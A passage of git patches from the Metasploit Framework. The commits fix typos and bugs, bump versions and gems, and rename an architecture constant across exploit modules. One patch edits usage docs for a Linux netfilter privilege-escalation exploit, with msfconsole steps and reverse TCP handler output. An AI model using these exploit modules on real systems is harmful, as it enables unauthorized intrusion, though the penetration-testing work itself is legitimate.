changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb index 2cb0acf9c3..bee9d14c9e 100644 --- a/modules/auxiliary/gather/ie_uxss_injection.rb +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary host = "[#{host}]" end - if datastore['URIPORT'] != 0 + if datastore['URIPORT'] port = ':' + datastore['URIPORT'].to_s elsif (ssl and datastore["SRVPORT"] == 443) port = '' From f894b9a4c5ba270845fd623646cd70a92abe0da0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 18 Nov 2016 11:39:26 -0600 Subject: [PATCH 142/157] Fix typo --- modules/auxiliary/scanner/http/open_proxy.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 93aedddc2c..21c82393c2 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -17,8 +17,8 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'HTTP Open Proxy Detection', 'Description' => %q{ Checks if an HTTP proxy is open. False positive are avoided - verifing the HTTP return code and matching a pattern. - For the CONNECT method is verified only the return code. + verifying the HTTP return code and matching a pattern. + The CONNECT method is verified only the return code. HTTP headers are shown regarding the use of proxy or load balancer. }, 'References' => From d3adfff66358019ddcf630f9179df3cf917fdc53 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 18 Nov 2016 11:41:04 -0600 Subject: [PATCH 143/157] Change syntax --- modules/auxiliary/scanner/http/open_proxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 21c82393c2..9c1240d5fa 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -133,7 +133,7 @@ class MetasploitModule < Msf::Auxiliary end else # Verify return code && (headers.pattern or body.pattern) - if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) or res.body.include?(datastore['VALIDPATTERN'])) + if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) || res.body.include?(datastore['VALIDPATTERN'])) print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}") From 643a5511cfaa970cf560ed3a9b4b0ebc8c06d36f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 18 Nov 2016 10:01:48 -0800 Subject: [PATCH 144/157] Bump version of framework to 4.13.1 --- Gemfile.lock | 14 +++++++------- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 75eed7d055..d047483375 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.0) + metasploit-framework (4.13.1) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -153,11 +153,11 @@ GEM loofah (2.0.3) nokogiri (>= 1.5.9) metasm (1.0.2) - metasploit-concern (2.0.1) + metasploit-concern (2.0.2) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-credential (2.0.5) + metasploit-credential (2.0.7) metasploit-concern metasploit-model metasploit_data_models @@ -165,12 +165,12 @@ GEM railties rubyntlm rubyzip - metasploit-model (2.0.0) + metasploit-model (2.0.2) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) metasploit-payloads (1.1.29) - metasploit_data_models (2.0.6) + metasploit_data_models (2.0.8) activerecord (~> 4.2.6) activesupport (~> 4.2.6) arel-helpers @@ -196,7 +196,7 @@ GEM network_interface (0.0.1) nokogiri (1.6.8.1) mini_portile2 (~> 2.1.0) - octokit (4.6.0) + octokit (4.6.1) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) @@ -273,7 +273,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.0) + rex-socket (0.1.1) rex-core rex-sslscan (0.1.0) rex-socket diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index e5b6557867..429d24e8f2 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.0" + VERSION = "4.13.1" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From cfd31e32c6c229aa5e02be6eac4694cdd95988f7 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 18 Nov 2016 13:52:09 -0500 Subject: [PATCH 145/157] renaming per @bwatters-r7 comment in #7491 --- .../local/{netfilter_priv_esc.md => netfilter_priv_esc_ipv4.md} | 0 .../local/{netfilter_priv_esc.rb => netfilter_priv_esc_ipv4.rb} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/exploit/linux/local/{netfilter_priv_esc.md => netfilter_priv_esc_ipv4.md} (100%) rename modules/exploits/linux/local/{netfilter_priv_esc.rb => netfilter_priv_esc_ipv4.rb} (100%) diff --git a/documentation/modules/exploit/linux/local/netfilter_priv_esc.md b/documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md similarity index 100% rename from documentation/modules/exploit/linux/local/netfilter_priv_esc.md rename to documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md diff --git a/modules/exploits/linux/local/netfilter_priv_esc.rb b/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb similarity index 100% rename from modules/exploits/linux/local/netfilter_priv_esc.rb rename to modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb From 0182594fb0699337058ebda2527e82e1c12b4c21 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 18 Nov 2016 13:55:29 -0500 Subject: [PATCH 146/157] fix docs to reflect name change --- .../exploit/linux/local/netfilter_priv_esc_ipv4.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md b/documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md index 42e0294dd7..686f20afaa 100644 --- a/documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md +++ b/documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md @@ -27,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma 1. Start msfconsole 2. Exploit a box via whatever method - 4. Do: `use exploit/linux/local/netfilter_priv_esc` + 4. Do: `use exploit/linux/local/netfilter_priv_esc_ipv4` 5. Do: `set session #` 6. Do: `set verbose true` 7. Do: `exploit` @@ -115,7 +115,7 @@ This does not work against the following vulnerable systems. Additional work ma #### Escalate w/ pre-compiled binaries - msf exploit(netfilter_priv_esc) > exploit + msf exploit(netfilter_priv_esc_ipv4) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed @@ -160,9 +160,9 @@ This does not work against the following vulnerable systems. Additional work ma In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again. - msf exploit(netfilter_priv_esc) > set reexploit true + msf exploit(netfilter_priv_esc_ipv4) > set reexploit true reexploit => true - msf exploit(netfilter_priv_esc) > exploit + msf exploit(netfilter_priv_esc_ipv4) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed @@ -191,9 +191,9 @@ In this scenario, we already exploit the box, for whatever reason our shell died #### Re-exploit w/ pre-compiled binaries - msf exploit(netfilter_priv_esc) > set reexploit true + msf exploit(netfilter_priv_esc_ipv4) > set reexploit true reexploit => true - msf exploit(netfilter_priv_esc) > exploit + msf exploit(netfilter_priv_esc_ipv4) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed From e52d67cb8c3be0ff4d95504e4617629fd9430ec8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 18 Nov 2016 07:32:20 -0600 Subject: [PATCH 147/157] add architecture check --- tools/dev/msftidy.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index a2f8f2e62e..f61892baa2 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -684,6 +684,15 @@ class Msftidy end end + # Check for modules using the deprecated architectures + # + # @see https://github.com/rapid7/metasploit-framework/pull/7507 + def check_arch + if @source =~ /ARCH_X86_64/ + error('Please don\'t use the ARCH_X86_64 architecture, use ARCH_X64 instead') + end + end + # # Run all the msftidy checks. # @@ -717,6 +726,7 @@ class Msftidy check_print_debug check_register_datastore_debug check_use_datastore_debug + check_arch end private From 005d34991b4cdacc4594007ed56e12c669e2758a Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 18 Nov 2016 07:34:46 -0600 Subject: [PATCH 148/157] update architecture --- modules/exploits/linux/http/empire_skywalker.rb | 4 ++-- modules/exploits/linux/local/bpf_priv_esc.rb | 4 ++-- modules/exploits/linux/local/overlayfs_priv_esc.rb | 2 +- modules/exploits/linux/misc/opennms_java_serialize.rb | 2 +- modules/exploits/multi/http/bassmaster_js_injection.rb | 2 +- .../windows/fileformat/office_ole_multiple_dll_hijack.rb | 2 +- modules/exploits/windows/local/panda_psevents.rb | 2 +- modules/exploits/windows/misc/hta_server.rb | 2 +- 8 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb index 76a59850e9..f757387969 100644 --- a/modules/exploits/linux/http/empire_skywalker.rb +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote [ [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], - [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 75 }, 'DefaultTarget' => 0, @@ -222,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote cron_command = "python #{payload_path}" payload_data = payload.raw - when ARCH_X86, ARCH_X86_64 + when ARCH_X86, ARCH_X64 cron_command = "chmod +x #{payload_path} && #{payload_path}" payload_data = payload.encoded_exe diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index b0829d609c..3ef0164fea 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -27,7 +27,7 @@ class MetasploitModule < Msf::Exploit::Local 'h00die ' # metasploit module ], 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Local 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], - [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb index ec09f3842a..0905904cd9 100644 --- a/modules/exploits/linux/local/overlayfs_priv_esc.rb +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DisclosureDate' => 'Jun 16 2015', 'Platform' => [ 'linux'], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index 76977ba1c1..d998fa77a9 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], - [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index adefe65300..c9466cd94e 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], # binary > native JavaScript - 'Arch' => [ARCH_X86, ARCH_X86_64], + 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb index 97635aed53..bedec99943 100644 --- a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'All', {} ], diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index dc7f21d50b..fefa7d78f4 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { diff --git a/modules/exploits/windows/misc/hta_server.rb b/modules/exploits/windows/misc/hta_server.rb index 4c266412e6..9550421ec5 100644 --- a/modules/exploits/windows/misc/hta_server.rb +++ b/modules/exploits/windows/misc/hta_server.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], - [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ] + [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 06 2016' From 16b5f40dae31de58c9733fcc926b07b1990635be Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 18 Nov 2016 07:52:08 -0600 Subject: [PATCH 149/157] Revert "Rework XOR code to make more sense" This reverts commit 699a8e91d2fab81fc65151264c6c1e185e32123c. --- lib/rex/post/meterpreter/packet.rb | 15 +++++++-------- lib/rex/post/meterpreter/packet_parser.rb | 2 +- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 692ffe90e8..372324381f 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -673,12 +673,11 @@ class Packet < GroupTlv # def to_r raw = super - xor_key = '' - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - xor_key << (rand(254) + 1).chr - result = xor_key + xor_bytes(xor_key, raw) + xor_key = rand(254) + 1 + xor_key |= (rand(254) + 1) << 8 + xor_key |= (rand(254) + 1) << 16 + xor_key |= (rand(254) + 1) << 24 + result = [xor_key].pack('N') + xor_bytes(xor_key, raw) result end @@ -689,7 +688,7 @@ class Packet < GroupTlv # the TLV values. # def from_r(bytes) - xor_key = bytes[0,4] + xor_key = bytes[0,4].unpack('N')[0] super(xor_bytes(xor_key, bytes[4, bytes.length])) end @@ -698,7 +697,7 @@ class Packet < GroupTlv # def xor_bytes(xor_key, bytes) result = '' - bytes.bytes.zip(xor_key.bytes.cycle).each do |b| + bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b| result << (b[0].ord ^ b[1].ord).chr end result diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 3fcf34f1fa..5b33c7b7c5 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -57,7 +57,7 @@ class PacketParser # payload length left to the number of bytes # specified in the length if (self.hdr_length_left == 0) - xor_key = raw[0, 4] + xor_key = raw[0, 4].unpack('N')[0] length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) # header size doesn't include the xor key, which is always tacked on the front self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) From 05cb5edaac01ef7ab3fdb251f9d9cf419df1f5f6 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sun, 20 Nov 2016 19:10:27 -0600 Subject: [PATCH 150/157] update payload gems --- Gemfile.lock | 8 ++++---- metasploit-framework.gemspec | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 92ce643335..fc5180c221 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,9 +14,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.1.29) + metasploit-payloads (= 1.2.1) metasploit_data_models - metasploit_payloads-mettle (= 0.0.8) + metasploit_payloads-mettle (= 0.1.1) msgpack nessus_rest net-ssh @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.1.29) + metasploit-payloads (1.2.1) metasploit_data_models (2.0.8) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -180,7 +180,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.0.8) + metasploit_payloads-mettle (0.1.1) method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index b48b5e8db0..4c1c2d2e92 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,9 +65,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.29' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.1' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.1' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From fcb2ef3933ed6bfc5544c9e7f4bf768fa7b626ba Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sun, 20 Nov 2016 19:35:44 -0600 Subject: [PATCH 151/157] bump ruby, get new openssl fixes --- .ruby-version | 2 +- .travis.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.ruby-version b/.ruby-version index 2bf1c1ccf3..f90b1afc08 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.3.1 +2.3.2 diff --git a/.travis.yml b/.travis.yml index 33a5af36c4..41013079ca 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,7 +10,7 @@ addons: - graphviz language: ruby rvm: - - '2.3.1' + - '2.3.2' env: - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true From 0a3acf57d1b3e7e6316fefc421aa3305f8192091 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sun, 20 Nov 2016 19:47:17 -0600 Subject: [PATCH 152/157] update payload sizes --- modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 1f7db24363..1ccca94c20 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module MetasploitModule - CachedSize = 26803 + CachedSize = 27144 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index b61383ed87..93965b0498 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51314 + CachedSize = 51742 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 06549b643c..5bd77f3caa 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51274 + CachedSize = 51706 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index e35d847a1c..9cf343f1d7 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51278 + CachedSize = 51706 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index bfa54dbdcc..6356e7ad02 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51230 + CachedSize = 51662 include Msf::Payload::Single include Msf::Payload::Python From d7dce280182472ef34034624ace02a267198ae41 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 21 Nov 2016 00:57:50 -0600 Subject: [PATCH 153/157] bump mettle to get fix for UUID encoding --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index fc5180c221..7a684cf210 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -16,7 +16,7 @@ PATH metasploit-model metasploit-payloads (= 1.2.1) metasploit_data_models - metasploit_payloads-mettle (= 0.1.1) + metasploit_payloads-mettle (= 0.1.2) msgpack nessus_rest net-ssh @@ -180,7 +180,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.1.1) + metasploit_payloads-mettle (0.1.2) method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4c1c2d2e92..2f3bccbd1e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -67,7 +67,7 @@ Gem::Specification.new do |spec| # Needed for Meterpreter spec.add_runtime_dependency 'metasploit-payloads', '1.2.1' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.1' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From 18b873be47d8a45a68d329fc400975a2316eae17 Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Mon, 21 Nov 2016 10:00:23 -0600 Subject: [PATCH 154/157] Fix the exception issue reported in issue #7585 Fix the exception by initialize a key variable that caused the exception. --- modules/auxiliary/scanner/http/brute_dirs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index e2ecbafdbf..56a518220e 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary # Look for a string we can signature on as well if(tcode >= 200 and tcode <= 299) - + emesg = nil File.open(datastore['HTTP404Sigs'], 'rb').each do |str| if(res.body.index(str)) emesg = str From 8869ebfe9bb6ce4fb47852ad7d7300fa4e461640 Mon Sep 17 00:00:00 2001 From: Prateep Bandharangshi Date: Mon, 21 Nov 2016 16:44:36 +0000 Subject: [PATCH 155/157] Fix incorrect disclosure date for OpenNMS exploit Disclosure date was Nov 2015, not Nov 2014 --- modules/exploits/linux/misc/opennms_java_serialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index d998fa77a9..8a5472fa4f 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 19 2014' + 'DisclosureDate' => 'Nov 06 2015' ) ) From 90d360a592dcd8cf43674e2d5f8872703accb3d2 Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Mon, 21 Nov 2016 11:06:32 -0600 Subject: [PATCH 156/157] Fix the issue 7589, both RHOST and RHOSTS options are quired Thanks to Will who found it's due to the order of mixin. --- modules/auxiliary/scanner/http/buffalo_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index 56e2e020a6..aa5d50cf0a 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -8,8 +8,8 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/buffalo' class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute From cdc82891d86f7013cc5f617c5594485d844cfc43 Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Mon, 21 Nov 2016 17:39:09 -0600 Subject: [PATCH 157/157] Fix the issue 7593 where I get a stacktrace when running module auxiliary/scanner/http/blind_sql_query Add a guard against the case when opts['vars_get'] is nil --- lib/rex/proto/http/client_request.rb | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e251b9e6bd..a95a30f5ab 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -108,21 +108,21 @@ class ClientRequest qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) end end + if opts.key?("vars_get") && opts['vars_get'] + opts['vars_get'].each_pair do |var,val| + var = var.to_s - opts['vars_get'].each_pair do |var,val| - var = var.to_s - - qstr << '&' if qstr.length > 0 - qstr << (opts['encode_params'] ? set_encode_uri(var) : var) - # support get parameter without value - # Example: uri?parameter - if val - val = val.to_s - qstr << '=' - qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + qstr << '&' if qstr.length > 0 + qstr << (opts['encode_params'] ? set_encode_uri(var) : var) + # support get parameter without value + # Example: uri?parameter + if val + val = val.to_s + qstr << '=' + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + end end end - if (opts['pad_post_params']) 1.upto(opts['pad_post_params_count'].to_i) do |i| rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)